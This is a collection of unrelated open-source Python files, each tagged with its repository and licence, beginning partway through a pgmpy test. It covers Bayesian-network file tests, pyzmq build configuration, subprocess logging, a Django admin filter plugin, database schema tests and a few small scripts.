self.assertDictEqual(dict(model.node), node_expected)
class TestUAIWriter(unittest.TestCase):
def setUp(self):
self.maxDiff = None
variables = ['kid', 'bowel-problem', 'dog-out',
'family-out', 'hear-bark', 'light-on']
edges = [['family-out', 'dog-out'],
['bowel-problem', 'dog-out'],
['family-out', 'light-on'],
['dog-out', 'hear-bark']]
cpds = {'kid': np.array([[0.3],
[0.7]]),
'bowel-problem': np.array([[0.01],
[0.99]]),
'dog-out': np.array([[0.99, 0.01, 0.97, 0.03],
[0.9, 0.1, 0.3, 0.7]]),
'family-out': np.array([[0.15],
[0.85]]),
'hear-bark': np.array([[0.7, 0.3],
[0.01, 0.99]]),
'light-on': np.array([[0.6, 0.4],
[0.05, 0.95]])}
states = {'kid': ['true', 'false'],
'bowel-problem': ['true', 'false'],
'dog-out': ['true', 'false'],
'family-out': ['true', 'false'],
'hear-bark': ['true', 'false'],
'light-on': ['true', 'false']}
parents = {'kid': [],
'bowel-problem': [],
'dog-out': ['bowel-problem', 'family-out'],
'family-out': [],
'hear-bark': ['dog-out'],
'light-on': ['family-out']}
self.bayesmodel = BayesianModel()
self.bayesmodel.add_nodes_from(variables)
self.bayesmodel.add_edges_from(edges)
tabular_cpds = []
for var, values in cpds.items():
cpd = TabularCPD(var, len(states[var]), values,
evidence=parents[var],
evidence_card=[len(states[evidence_var])
for evidence_var in parents[var]])
tabular_cpds.append(cpd)
self.bayesmodel.add_cpds(*tabular_cpds)
self.bayeswriter = UAIWriter(self.bayesmodel)
edges = {('var_0', 'var_1'), ('var_0', 'var_2'), ('var_1', 'var_2')}
self.markovmodel = MarkovModel(edges)
tables = [(['var_0', 'var_1'],
['4.000', '2.400', '1.000', '0.000']),
(['var_0', 'var_1', 'var_2'],
['2.2500', '3.2500', '3.7500', '0.0000', '0.0000', '10.0000',
'1.8750', '4.0000', '3.3330', '2.0000', '2.0000', '3.4000'])]
domain = {'var_1': '2', 'var_2': '3', 'var_0': '2'}
factors = []
for table in tables:
variables = table[0]
cardinality = [int(domain[ var]) for var in variables]
values = list(map(float, table[1]))
factor = DiscreteFactor(variables, cardinality, values)
factors.append(factor)
self.markovmodel.add_factors(*factors)
self.markovwriter = UAIWriter(self.markovmodel)
def test_bayes_model(self):
self.expected_bayes_file = """BAYES
6
2 2 2 2 2 2
6
1 0
3 2 0 1
1 2
2 1 3
1 4
2 2 5
2
0.01 0.99
8
0.99 0.01 0.97 0.03 0.9 0.1 0.3 0.7
2
0.15 0.85
4
0.7 0.3 0.01 0.99
2
0.3 0.7
4
0.6 0.4 0.05 0.95"""
self.assertEqual(str(self.bayeswriter.__str__()), str(self.expected_bayes_file))
def test_markov_model(self):
self.expected_markov_file = """MARKOV
3
2 2 3
2
2 0 1
3 0 1 2
4
4.0 2.4 1.0 0.0
12
2.25 3.25 3.75 0.0 0.0 10.0 1.875 4.0 3.333 2.0 2.0 3.4"""
self.assertEqual(str(self.markovwriter.__str__()), str(self.expected_markov_file))
| khalibartan/pgmpy | pgmpy/tests/test_readwrite/test_UAI.py | Python | mit | 6,623 |
"""Config functions"""
#-----------------------------------------------------------------------------
# Copyright (C) PyZMQ Developers
#
# This file is part of pyzmq, copied and adapted from h5py.
# h5py source used under the New BSD license
#
# h5py: <http://code.google.com/p/h5py/>
#
# Distributed under the terms of the New BSD License. The full license is in
# the file COPYING.BSD, distributed as part of this software.
#-----------------------------------------------------------------------------
import sys
import os
import json
try:
from configparser import ConfigParser
except:
from ConfigParser import ConfigParser
pjoin = os.path.join
from .msg import debug, fatal, warn
#-----------------------------------------------------------------------------
# Utility functions (adapted from h5py: http://h5py.googlecode.com)
#-----------------------------------------------------------------------------
def load_config(name, base='conf'):
"""Load config dict from JSON"""
fname = pjoin(base, name + '.json')
if not os.path.exists(fname):
return {}
try:
with open(fname) as f:
cfg = json.load(f)
except Exception as e:
warn("Couldn't load %s: %s" % (fname, e))
cfg = {}
return cfg
def save_config(name, data, base='conf'):
"""Save config dict to JSON"""
if not os.path.exists(base):
os.mkdir(base)
fname = pjoin(base, name+'.json')
with open(fname, 'w') as f:
json.dump(data, f, indent=2)
def v_str(v_tuple):
"""turn (2,0,1) into '2.0.1'."""
return ".".join(str(x) for x in v_tuple)
def get_env_args():
""" Look for options in environment vars """
settings = {}
zmq = os.environ.get("ZMQ_PREFIX", None)
if zmq is not None:
debug("Found environ var ZMQ_PREFIX=%s" % zmq)
settings['zmq_prefix'] = zmq
return settings
def cfg2dict(cfg):
"""turn a ConfigParser into a nested dict
because ConfigParser objects are dumb.
"""
d = {}
for section in cfg.sections():
d[section] = dict(cfg.items(section))
return d
def get_cfg_args():
""" Look for options in setup.cfg """
if not os.path.exists('setup.cfg'):
return {}
cfg = ConfigParser()
cfg.read('setup.cfg')
cfg = cfg2dict(cfg)
g = cfg.setdefault('global', {})
# boolean keys:
for key in ['libzmq_extension',
'bundle_libzmq_dylib',
'no_libzmq_extension',
'have_sys_un_h',
'skip_check_zmq',
'bundle_msvcp',
]:
if key in g:
g[key] = eval(g[key])
# globals go to top level
cfg.update(cfg.pop('global'))
return cfg
def config_from_prefix(prefix):
"""Get config from zmq prefix"""
settings = {}
if prefix.lower() in ('default', 'auto', ''):
settings['zmq_prefix'] = ''
settings['libzmq_extension'] = False
settings['no_libzmq_extension'] = False
elif prefix.lower() in ('bundled', 'extension'):
settings['zmq_prefix'] = ''
settings['libzmq_extension'] = True
settings['no_libzmq_extension'] = False
else:
settings['zmq_prefix'] = prefix
settings['libzmq_extension'] = False
settings['no_libzmq_extension'] = True
settings['allow_legacy_libzmq'] = True # explicit zmq prefix allows legacy
return settings
def merge(into, d):
"""merge two containers
into is updated, d has priority
"""
if isinstance(into, dict):
for key in d.keys():
if key not in into:
into[key] = d[key]
else:
into[key] = merge(into[key], d[key])
return into
elif isinstance(into, list):
return into + d
else:
return d
def discover_settings(conf_base=None):
""" Discover custom settings for ZMQ path"""
settings = {
'zmq_prefix': '',
'libzmq_extension': False,
'no_libzmq_extension': False,
'skip_check_zmq': False,
'allow_legacy_libzmq': False,
'bundle_msvcp': None,
'build_ext': {},
'bdist_egg': {},
}
if sys.platform.startswith('win'):
settings['have_sys_un_h'] = False
if conf_base:
# lowest priority
merge(settings, load_config('config', conf_base))
merge(settings, get_cfg_args())
merge(settings, get_env_args())
return settings
| swn1/pyzmq | buildutils/config.py | Python | bsd-3-clause | 4,483 |
# Copyright (c) 2014-2015, Ruslan Baratov
# All rights reserved.
# Adapted to python3 version of: http://stackoverflow.com/questions/4984428
import os
import platform
import subprocess
import sys
import threading
import time
# Tests:
#
# Windows:
# * Control Panel -> Region -> Administrative -> Current languange for non-Unicode programs: "Russian (Russia)"
# * cd to directory with name like 'привет' and run 'polly.py --verbose'
def tee(infile, discard, logging, console=None):
"""Print `infile` to `files` in a separate thread."""
def fanout():
discard_counter = 0
for line in iter(infile.readline, b''):
# use the same encoding as stdout/stderr
s = line.decode(
encoding=sys.stdout.encoding,
errors='replace'
)
s = s.replace('\r', '')
s = s.replace('\t', ' ')
s = s.rstrip() # strip spaces and EOL
s += '\n' # append stripped EOL back
logging.write(s)
if console is None:
continue
if discard is None:
console.write(s)
console.flush()
continue
if discard_counter == 0:
console.write(s)
console.flush()
discard_counter += 1
if discard_counter == discard:
discard_counter = 0
infile.close()
t = threading.Thread(target=fanout)
t.daemon = True
t.start()
return t
def teed_call(cmd_args, logging, output_filter=None):
p = subprocess.Popen(
cmd_args,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=os.environ,
bufsize=0
)
threads = []
output_pipe = p.stdout
if output_filter:
filter_p = subprocess.Popen(
output_filter,
stdin=output_pipe,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
env=os.environ,
bufsize=0
)
# also pipe filter error to stderr and log
threads.append(tee(filter_p.stderr, logging.discard, logging, sys.stderr))
output_pipe = filter_p.stdout
if logging.verbosity != 'silent':
threads.append(tee(output_pipe, logging.discard, logging, sys.stdout))
threads.append(tee(p.stderr, logging.discard, logging, sys.stderr))
else:
threads.append(tee(output_pipe, logging.discard, logging))
threads.append(tee(p.stderr, logging.discard, logging))
for t in threads:
t.join() # wait for IO completion
return p.wait()
def call(call_args, logging, cache_file='', ignore=False, sleep=0, output_filter=None, dry_run=False):
pretty = 'Execute command: [\n'
for i in call_args:
pretty += ' `{}`\n'.format(i)
pretty += ']\n'
print(pretty)
logging.write(pretty)
# print one line version
oneline = ''
for i in call_args:
oneline += ' "{}"'.format(i)
oneline = "[{}]>{}\n".format(os.getcwd(), oneline)
if logging.verbosity != 'silent':
print(oneline)
logging.write(oneline)
if dry_run:
sys.exit(0)
x = teed_call(call_args, logging, output_filter)
if x == 0 or ignore:
time.sleep(sleep)
return
if os.path.exists(cache_file):
os.unlink(cache_file)
logging.log_file.close()
print('Command exit with status "{}": {}'.format(x, oneline))
print('Log: {}'.format(logging.log_path))
logging.print_last_lines()
print('*** FAILED ***')
sys.exit(1)
| ruslo/polly | bin/detail/call.py | Python | bsd-2-clause | 3,236 |
#!/usr/bin/env python
import sys
import json
result = json.load(sys.stdin)
success = result['success']
if not success:
if 'error' in result:
for error in result['error']:
print >> sys.stderr, "Error: %s" % error
if 'warning' in result:
for warning in result['warning']:
print >> sys.stderr, "Warning: %s" % warning
if success:
if sys.argv[1] == "coffee":
print "It's done! Enjoy your delicious coffee!"
elif sys.argv[1] == "mate":
print "It's done! Aah! A refreshing bottle of mate!"
else:
print "It's done!"
else:
print >> sys.stderr, "Submission failed."
| neverpanic/coffeestats-cli | .coffeestats_format_output.py | Python | bsd-2-clause | 579 |
import operator
from nadmin import widgets
from nadmin.util import get_fields_from_path, lookup_needs_distinct
from django.core.exceptions import SuspiciousOperation, ImproperlyConfigured, ValidationError
from django.db import models
from django.db.models.fields import FieldDoesNotExist
from django.db.models.fields.related import ForeignObjectRel
from django.db.models.sql.query import LOOKUP_SEP, QUERY_TERMS
from django.template import loader
from django.utils.encoding import smart_str
from django.utils.translation import ugettext as _
from nadmin.filters import manager as filter_manager, FILTER_PREFIX, SEARCH_VAR, DateFieldListFilter, RelatedFieldSearchFilter
from nadmin.sites import site
from nadmin.views import BaseAdminPlugin, ListAdminView
class IncorrectLookupParameters(Exception):
pass
class FilterPlugin(BaseAdminPlugin):
list_filter = ()
search_fields = ()
free_query_filter = True
def lookup_allowed(self, lookup, value):
model = self.model
# Check FKey lookups that are allowed, so that popups produced by
# ForeignKeyRawIdWidget, on the basis of ForeignKey.limit_choices_to,
# are allowed to work.
for l in model._meta.related_fkey_lookups:
for k, v in widgets.url_params_from_lookup_dict(l).items():
if k == lookup and v == value:
return True
parts = lookup.split(LOOKUP_SEP)
# Last term in lookup is a query term (__exact, __startswith etc)
# This term can be ignored.
if len(parts) > 1 and parts[-1] in QUERY_TERMS:
parts.pop()
# Special case -- foo__id__exact and foo__id queries are implied
# if foo has been specificially included in the lookup list; so
# drop __id if it is the last part. However, first we need to find
# the pk attribute name.
rel_name = None
for part in parts[:-1]:
try:
field, _, _, _ = model._meta.get_field_by_name(part)
except FieldDoesNotExist:
# Lookups on non-existants fields are ok, since they're ignored
# later.
return True
if hasattr(field, 'rel'):
model = field.rel.to
rel_name = field.rel.get_related_field().name
elif isinstance(field, ForeignObjectRel):
model = field.model
rel_name = model._meta.pk.name
else:
rel_name = None
if rel_name and len(parts) > 1 and parts[-1] == rel_name:
parts.pop()
if len(parts) == 1:
return True
clean_lookup = LOOKUP_SEP.join(parts)
return clean_lookup in self.list_filter
def get_list_queryset(self, queryset):
lookup_params = dict([(smart_str(k)[len(FILTER_PREFIX):], v) for k, v in self.admin_view.params.items()
if smart_str(k).startswith(FILTER_PREFIX) and v != ''])
for p_key, p_val in lookup_params.iteritems():
if p_val == "False":
lookup_params[p_key] = False
use_distinct = False
# for clean filters
self.admin_view.has_query_param = bool(lookup_params)
self.admin_view.clean_query_url = self.admin_view.get_query_string(remove=
[k for k in self.request.GET.keys() if k.startswith(FILTER_PREFIX)])
# Normalize the types of keys
if not self.free_query_filter:
for key, value in lookup_params.items():
if not self.lookup_allowed(key, value):
raise SuspiciousOperation(
"Filtering by %s not allowed" % key)
self.filter_specs = []
if self.list_filter:
for list_filter in self.list_filter:
if callable(list_filter):
# This is simply a custom list filter class.
spec = list_filter(self.request, lookup_params,
self.model, self)
else:
field_path = None
field_parts = []
if isinstance(list_filter, (tuple, list)):
# This is a custom FieldListFilter class for a given field.
field, field_list_filter_class = list_filter
else:
# This is simply a field name, so use the default
# FieldListFilter class that has been registered for
# the type of the given field.
field, field_list_filter_class = list_filter, filter_manager.create
if not isinstance(field, models.Field):
field_path = field
field_parts = get_fields_from_path(
self.model, field_path)
field = field_parts[-1]
spec = field_list_filter_class(
field, self.request, lookup_params,
self.model, self.admin_view, field_path=field_path)
if len(field_parts)>1:
# Add related model name to title
spec.title = "%s %s"%(field_parts[-2].name,spec.title)
# Check if we need to use distinct()
use_distinct = (use_distinct or
lookup_needs_distinct(self.opts, field_path))
if spec and spec.has_output():
try:
new_qs = spec.do_filte(queryset)
except ValidationError, e:
new_qs = None
self.admin_view.message_user(_("<b>Filtering error:</b> %s") % e.messages[0], 'error')
if new_qs is not None:
queryset = new_qs
self.filter_specs.append(spec)
self.has_filters = bool(self.filter_specs)
self.admin_view.filter_specs = self.filter_specs
self.admin_view.used_filter_num = len(
filter(lambda f: f.is_used, self.filter_specs))
try:
for key, value in lookup_params.items():
use_distinct = (
use_distinct or lookup_needs_distinct(self.opts, key))
except FieldDoesNotExist, e:
raise IncorrectLookupParameters(e)
try:
queryset = queryset.filter(**lookup_params)
except (SuspiciousOperation, ImproperlyConfigured):
raise
except Exception, e:
raise IncorrectLookupParameters(e)
query = self.request.GET.get(SEARCH_VAR, '')
# Apply keyword searches.
def construct_search(field_name):
if field_name.startswith('^'):
return "%s__istartswith" % field_name[1:]
elif field_name.startswith('='):
return "%s__iexact" % field_name[1:]
elif field_name.startswith('@'):
return "%s__search" % field_name[1:]
else:
return "%s__icontains" % field_name
if self.search_fields and query:
orm_lookups = [construct_search(str(search_field))
for search_field in self.search_fields]
for bit in query.split():
or_queries = [models.Q(**{orm_lookup: bit})
for orm_lookup in orm_lookups]
queryset = queryset.filter(reduce(operator.or_, or_queries))
if not use_distinct:
for search_spec in orm_lookups:
if lookup_needs_distinct(self.opts, search_spec):
use_distinct = True
break
self.admin_view.search_query = query
if use_distinct:
return queryset.distinct()
else:
return queryset
# Media
def get_media(self, media):
if bool(filter(lambda s: isinstance(s, DateFieldListFilter), self.filter_specs)):
media = media + self.vendor('datepicker.css', 'datepicker.js',
'nadmin.widget.datetime.js')
if bool(filter(lambda s: isinstance(s, RelatedFieldSearchFilter), self.filter_specs)):
media = media + self.vendor(
'select.js', 'select.css', 'nadmin.widget.select.js')
return media + self.vendor('nadmin.plugin.filters.js')
# Block Views
def block_nav_menu(self, context, nodes):
if self.has_filters:
nodes.append(loader.render_to_string('nadmin/blocks/model_list.nav_menu.filters.html', context_instance=context))
def block_nav_form(self, context, nodes):
if self.search_fields:
nodes.append(
loader.render_to_string(
'nadmin/blocks/model_list.nav_form.search_form.html',
{'search_var': SEARCH_VAR,
'remove_search_url': self.admin_view.get_query_string(remove=[SEARCH_VAR]),
'search_form_params': self.admin_view.get_form_params(remove=[SEARCH_VAR])},
context_instance=context))
site.register_plugin(FilterPlugin, ListAdminView)
| A425/django-nadmin | nadmin/plugins/filters.py | Python | mit | 9,344 |
#!/usr/bin/python
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
number_of_messages = 2000
comm.Barrier()
start_time = MPI.Wtime()
for _ in xrange(0, number_of_messages):
comm.Barrier()
end_time = MPI.Wtime()
if rank == 0:
print (end_time - start_time)/number_of_messages | aksiazek/tpr | lab2/barier.py | Python | unlicense | 304 |
# -*- coding: utf-8 -*-
"""
:copyright: Copyright 2013-2014 by Łukasz Mierzwa
:contact: [email protected]
"""
from __future__ import unicode_literals
from getpass import getpass
from django.core.management.base import BaseCommand, CommandError
from optparse import make_option
from upaas_admin.apps.users.models import User
class Command(BaseCommand):
help = 'Create new user account'
option_list = BaseCommand.option_list + (
make_option('--login', dest='login', help='New user login'),
make_option('--firstname', dest='firstname',
help='New user first name'),
make_option('--lastname', dest='lastname', help='New user last name'),
make_option('--email', dest='email', help='New user email address'),
make_option('--admin', action='store_true', dest='admin',
default=False,
help='Give administrator privileges to new user'),
make_option('--password', dest='password', help='New user password'))
def handle(self, *args, **options):
for name in ['login', 'firstname', 'lastname', 'email']:
if not options.get(name):
raise CommandError("--%s option must be set" % name)
password = options.get('password')
if not password:
try:
password1 = getpass('Password: ')
password2 = getpass('Password (repeat): ')
while password1 != password2:
self.stdout.write('Password mismatch!\n')
password1 = getpass('Password: ')
password2 = getpass('Password (repeat): ')
except KeyboardInterrupt:
self.stdout.write('\nCtrl+c pressed, aborting\n')
return
else:
password = password1
user = User(username=options['login'],
first_name=options['firstname'],
last_name=options['lastname'],
email=options['email'],
is_superuser=options['admin'])
user.set_password(password)
user.save()
self.stdout.write('%s user account created '
'successfully\n' % user.username)
| prymitive/upaas-admin | upaas_admin/apps/users/management/commands/create_user.py | Python | gpl-3.0 | 2,264 |
import pytest
from abridger.exc import (UnknownTableError, UnknownColumnError,
RelationIntegrityError)
from abridger.schema import SqliteSchema
class TestSqliteSchema(object):
test_relations_stmts = [
'''
CREATE TABLE test1 (
id INTEGER PRIMARY KEY,
alt_id INTEGER UNIQUE
);
''',
'''
CREATE TABLE test2 (
id INTEGER PRIMARY KEY,
fk1 INTEGER REFERENCES test1,
fk2 INTEGER REFERENCES test1(id),
fk3 INTEGER REFERENCES "test1",
fk4 INTEGER REFERENCES test1("id"),
fk5 INTEGER REFERENCES test1(alt_id),
fk6 INTEGER CONSTRAINT test_constraint3 REFERENCES test1,
fk7 INTEGER CONSTRAINT test_constraint4 REFERENCES test1(id),
fk8 INTEGER,
fk9 INTEGER,
fk10 INTEGER,
fk11 INTEGER,
FOREIGN KEY(fk8) REFERENCES test1,
FOREIGN KEY(fk9) REFERENCES test1(id)
CONSTRAINT test_fk10 FOREIGN KEY(fk10) REFERENCES test1,
CONSTRAINT test_fk11 FOREIGN KEY(fk11) REFERENCES test1(id)
);
''',
'ALTER TABLE test2 ADD COLUMN fk12 INTEGER REFERENCES test1;',
'ALTER TABLE test2 ADD COLUMN fk13 INTEGER REFERENCES test1(id);',
]
def test_tables(self, sqlite_conn):
sqlite_conn.execute('CREATE TABLE test1 (id INTEGER PRIMARY KEY);')
sqlite_conn.execute('CREATE TABLE test2 (id INTEGER PRIMARY KEY);')
schema = SqliteSchema.create_from_conn(sqlite_conn)
assert 'test1' in schema.tables_by_name
assert 'test2' in schema.tables_by_name
assert len(schema.tables) == 2
assert len(list(schema.tables_by_name.keys())) == 2
assert str(schema.tables[0]) is not None
assert repr(schema.tables[0]) is not None
def test_cols(self, sqlite_conn):
sqlite_conn.execute('''
CREATE TABLE test1 (
id INTEGER PRIMARY KEY,
not_null text NOT NULL,
nullable text
);
''')
schema = SqliteSchema.create_from_conn(sqlite_conn)
assert len(schema.tables) == 1
table = schema.tables[0]
assert len(table.cols) == 3
assert len(list(table.cols_by_name.keys())) == 3
assert str(table.cols[0]) is not None
assert repr(table.cols[0]) is not None
names = [c.name for c in table.cols]
assert 'id' in names
assert 'not_null' in names
assert 'nullable' in names
id_col = list(
filter(lambda r: r.name == 'id', table.cols))[0]
not_null_col = list(
filter(lambda r: r.name == 'not_null', table.cols))[0]
nullable_col = list(
filter(lambda r: r.name == 'nullable', table.cols))[0]
assert id_col.notnull is False
assert not_null_col.notnull is True
assert nullable_col.notnull is False
def test_foreign_key_constraints(self, sqlite_conn):
for stmt in self.test_relations_stmts:
sqlite_conn.execute(stmt)
schema = SqliteSchema.create_from_conn(sqlite_conn)
table1 = schema.tables[0]
table2 = schema.tables[1]
table1_id = table1.cols[0]
table1_alt_id = table1.cols[1]
assert len(table1.cols) == 2
assert len(table2.cols) == 14
assert len(table1.incoming_foreign_keys) == 13
assert len(table2.foreign_keys) == 13
fks_by_col = {}
for i in range(1, 14):
for fk in table2.foreign_keys:
assert len(fk.src_cols) == 1
assert len(fk.dst_cols) == 1
fks_by_col[fk.src_cols[0]] = fk
for i in range(1, 14):
assert table2.cols[i] in fks_by_col
assert fk in table1.incoming_foreign_keys
assert str(fk) is not None
assert repr(fk) is not None
if fk.src_cols[0].name in ('fk10', 'fk11'):
assert fk.name == 'test_%s' % fk.src_cols[0].name
if fk.src_cols[0].name == 'fk5':
assert fk.dst_cols == (table1_alt_id,)
else:
assert fk.dst_cols == (table1_id,)
def test_primary_key_constraints(self, sqlite_conn):
stmts = [
'CREATE TABLE test1 (id1 INTEGER PRIMARY KEY, name text);',
'CREATE TABLE test2 (name text, id2 INTEGER PRIMARY KEY);',
'CREATE TABLE test3 (id3 INTEGER);',
]
for stmt in stmts:
sqlite_conn.execute(stmt)
schema = SqliteSchema.create_from_conn(sqlite_conn)
assert schema.tables[0].primary_key == (schema.tables[0].cols[0],)
assert schema.tables[1].primary_key == (schema.tables[1].cols[1],)
assert schema.tables[2].primary_key is None
def test_compound_primary_key_constraints(self, sqlite_conn):
sqlite_conn.execute('''
CREATE TABLE test1 (
id INTEGER,
name TEXT,
PRIMARY KEY(id, name)
);
''')
schema = SqliteSchema.create_from_conn(sqlite_conn)
pk = schema.tables[0].primary_key
assert pk == (schema.tables[0].cols[0], schema.tables[0].cols[1],)
def test_compound_foreign_key_constraints(self, sqlite_conn):
for stmt in [
'''CREATE TABLE test1 (
id1 INTEGER,
id2 INTEGER,
id3 INTEGER,
id4 INTEGER,
PRIMARY KEY(id1, id2),
UNIQUE(id3, id4)
);''',
'''CREATE TABLE test2 (
fk1 INTEGER,
fk2 INTEGER,
fk3 INTEGER,
fk4 INTEGER,
fk5 INTEGER,
fk6 INTEGER,
FOREIGN KEY(fk1, fk2) REFERENCES test1,
FOREIGN KEY(fk3, fk4) REFERENCES test1(id1, id2)
FOREIGN KEY(fk5, fk6) REFERENCES test1(id3, id4)
);''']:
sqlite_conn.execute(stmt)
schema = SqliteSchema.create_from_conn(sqlite_conn)
table1 = schema.tables[0]
table2 = schema.tables[1]
assert len(table1.incoming_foreign_keys) == 3
assert len(table2.foreign_keys) == 3
fks_by_col = {}
for i in range(1, 3):
for fk in table2.foreign_keys:
assert len(fk.src_cols) == 2
assert len(fk.dst_cols) == 2
fks_by_col[(fk.src_cols[0], fk.src_cols[1])] = fk
expected_cols = [
# table2 col indexes -> table1 col indexes
((0, 1), (0, 1)),
((2, 3), (0, 1)),
((4, 5), (2, 3)),
]
for (table2_cols, table1_cols) in expected_cols:
(t11, t12) = table1_cols
(t21, t22) = table2_cols
fk = fks_by_col[(table2.cols[t21], table2.cols[t22])]
assert fk.dst_cols == (table1.cols[t11], table1.cols[t12])
def test_non_existent_foreign_key_unknown_col(self, sqlite_conn):
for stmt in [
'''CREATE TABLE test1 (
id SERIAL PRIMARY KEY
);''',
'''CREATE TABLE test2 (
id SERIAL PRIMARY KEY,
fk1 INTEGER,
FOREIGN KEY(fk1) REFERENCES test1(name)
);''']:
sqlite_conn.execute(stmt)
with pytest.raises(UnknownColumnError):
SqliteSchema.create_from_conn(sqlite_conn)
def test_non_existent_foreign_key_unknown_table(self, sqlite_conn):
for stmt in [
'''CREATE TABLE test1 (
id SERIAL PRIMARY KEY
);''',
'''CREATE TABLE test2 (
id SERIAL PRIMARY KEY,
fk1 INTEGER,
FOREIGN KEY(fk1) REFERENCES foo(id)
);''']:
sqlite_conn.execute(stmt)
with pytest.raises(UnknownTableError):
SqliteSchema.create_from_conn(sqlite_conn)
def test_unique_indexes(self, sqlite_conn):
for stmt in [
'''CREATE TABLE test1 (
id SERIAL PRIMARY KEY,
col1 TEXT UNIQUE,
col2 TEXT UNIQUE,
col3 TEXT UNIQUE,
col4 TEXT UNIQUE,
UNIQUE(col1, col2)
);
''',
'CREATE INDEX index1 ON test1(col1, col2);',
'CREATE UNIQUE INDEX uindex1 ON test1(col1, col2);',
'CREATE UNIQUE INDEX uindex2 ON test1(col3, col4);'
]:
sqlite_conn.execute(stmt)
schema = SqliteSchema.create_from_conn(sqlite_conn)
assert len(schema.tables[0].unique_indexes) == 8 # including PK
tuples = set()
named_tuples = set()
for ui in schema.tables[0].unique_indexes:
assert str(ui) is not None
assert repr(ui) is not None
col_names = sorted([c.name for c in ui.cols])
named_tuple_list = list(col_names)
named_tuple_list.insert(0, ui.name)
named_tuples.add(tuple(named_tuple_list))
tuples.add(tuple(col_names))
assert ('uindex1', 'col1', 'col2') in named_tuples
assert ('uindex2', 'col3', 'col4') in named_tuples
# One assertion for each index
assert('id',) in tuples
assert('col1',) in tuples
assert('col2',) in tuples
assert('col3',) in tuples
assert('col4',) in tuples
assert('col1', 'col2') in tuples
assert('col3', 'col4') in tuples
# Just because you're paranoid doesn't mean they aren't after you
assert('col1', 'col3') not in tuples
assert('col1', 'col4') not in tuples
assert('col2', 'col3') not in tuples
assert('col2', 'col4') not in tuples
def test_self_referencing_non_null_foreign_key(self, sqlite_conn):
for stmt in [
'''CREATE TABLE test1 (
id SERIAL PRIMARY KEY
);
''',
# Work around SQL lite not liking
# NOT NULL foreign keys with a default, but disabling foreign
# key checking
'PRAGMA foreign_keys = 0;',
'''ALTER TABLE test1 ADD COLUMN fk INTEGER NOT NULL DEFAULT 1
REFERENCES test1''',
'PRAGMA foreign_keys = 1;',
# Sanity test the above is even possible
'INSERT INTO test1 (id) VALUES(1);'
]:
sqlite_conn.execute(stmt)
with pytest.raises(RelationIntegrityError):
SqliteSchema.create_from_conn(sqlite_conn)
def test_set_effective_primary_key(self, sqlite_conn):
for stmt in [
'''
CREATE TABLE test1 (
id SERIAL PRIMARY KEY,
something_else INTEGER
);
''', '''
CREATE TABLE test2 (
id INTEGER UNIQUE,
something_else INTEGER
);
''', '''
CREATE TABLE test3 (
id1 INTEGER,
id2 INTEGER
);'''
]:
sqlite_conn.execute(stmt)
schema = SqliteSchema.create_from_conn(sqlite_conn)
tables = schema.tables
assert tables[0].effective_primary_key == (tables[0].cols[0],)
assert tables[0].can_have_duplicated_rows is False
assert tables[1].effective_primary_key == (tables[1].cols[0],)
assert tables[1].can_have_duplicated_rows is False
assert tables[2].effective_primary_key == (tables[2].cols[0],
tables[2].cols[1])
assert tables[2].can_have_duplicated_rows is True
| freewilll/abridger | test/unit/test_sqlite_schema.py | Python | mit | 12,050 |
# Copyright (c) 2015-2017 Cisco Systems, Inc.
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
# DEALINGS IN THE SOFTWARE.
import colorama
import pytest
from molecule import logger
def test_info(capsys):
log = logger.get_logger(__name__)
log.info('foo')
stdout, _ = capsys.readouterr()
print('--> {}{}'.format(colorama.Fore.CYAN, 'foo'.rstrip()))
x, _ = capsys.readouterr()
assert x == stdout
def test_out(capsys):
log = logger.get_logger(__name__)
log.out('foo')
stdout, _ = capsys.readouterr()
assert ' foo\n' == stdout
def test_warn(capsys):
log = logger.get_logger(__name__)
log.warn('foo')
stdout, _ = capsys.readouterr()
print('{}{}'.format(colorama.Fore.YELLOW, 'foo'.rstrip()))
x, _ = capsys.readouterr()
assert x == stdout
@pytest.mark.skip(reason='TODO(retr0h): understand how to test this')
def test_error(capsys):
log = logger.get_logger(__name__)
log.error('foo')
_, stderr = capsys.readouterr()
print('{}{}'.format(colorama.fore.red, 'foo'.rstrip()))
_, x = capsys.readouterr()
assert x == stderr
@pytest.mark.skip(reason='TODO(retr0h): understand how to test this')
def test_critical(capsys):
log = logger.get_logger(__name__)
log.critical('foo')
_, stderr = capsys.readouterr()
print('{}error: {}'.format(colorama.fore.red, 'foo'.rstrip()))
_, x = capsys.readouterr()
assert x == stderr
def test_success(capsys):
log = logger.get_logger(__name__)
log.success('foo')
stdout, _ = capsys.readouterr()
print('{}{}'.format(colorama.Fore.GREEN, 'foo'.rstrip()))
x, _ = capsys.readouterr()
assert x == stdout
| retr0h/molecule | test/unit/test_logger.py | Python | mit | 2,683 |
# -*- coding: utf-8 -*-
from django.shortcuts import render,get_object_or_404
from django.template import loader
from django.http import HttpResponseRedirect, HttpResponse, StreamingHttpResponse
import datetime
import uuid
from io import StringIO
import os, math, sys
from base64 import b64encode
randStr = lambda n: b64encode(os.urandom(int(math.ceil(0.75*n))))[:n]
import time
import logging
log=logging.getLogger('vamdc.tap')
from django.conf import settings
from importlib import import_module
from django.utils.http import http_date
from requests.utils import CaseInsensitiveDict as CaselessDict
if settings.QUERY_STORE_ACTIVE:
try:
import requests as librequests
except:
log.critical('settings.QUERY_STORE_ACTIVE is True but requests package is missing!')
QUERYFUNC = import_module(settings.NODEPKG+'.queryfunc')
DICTS = import_module(settings.NODEPKG+'.dictionaries')
# import helper modules that reside in the same directory
NODEID = CaselessDict(DICTS.RETURNABLES)['NodeID']
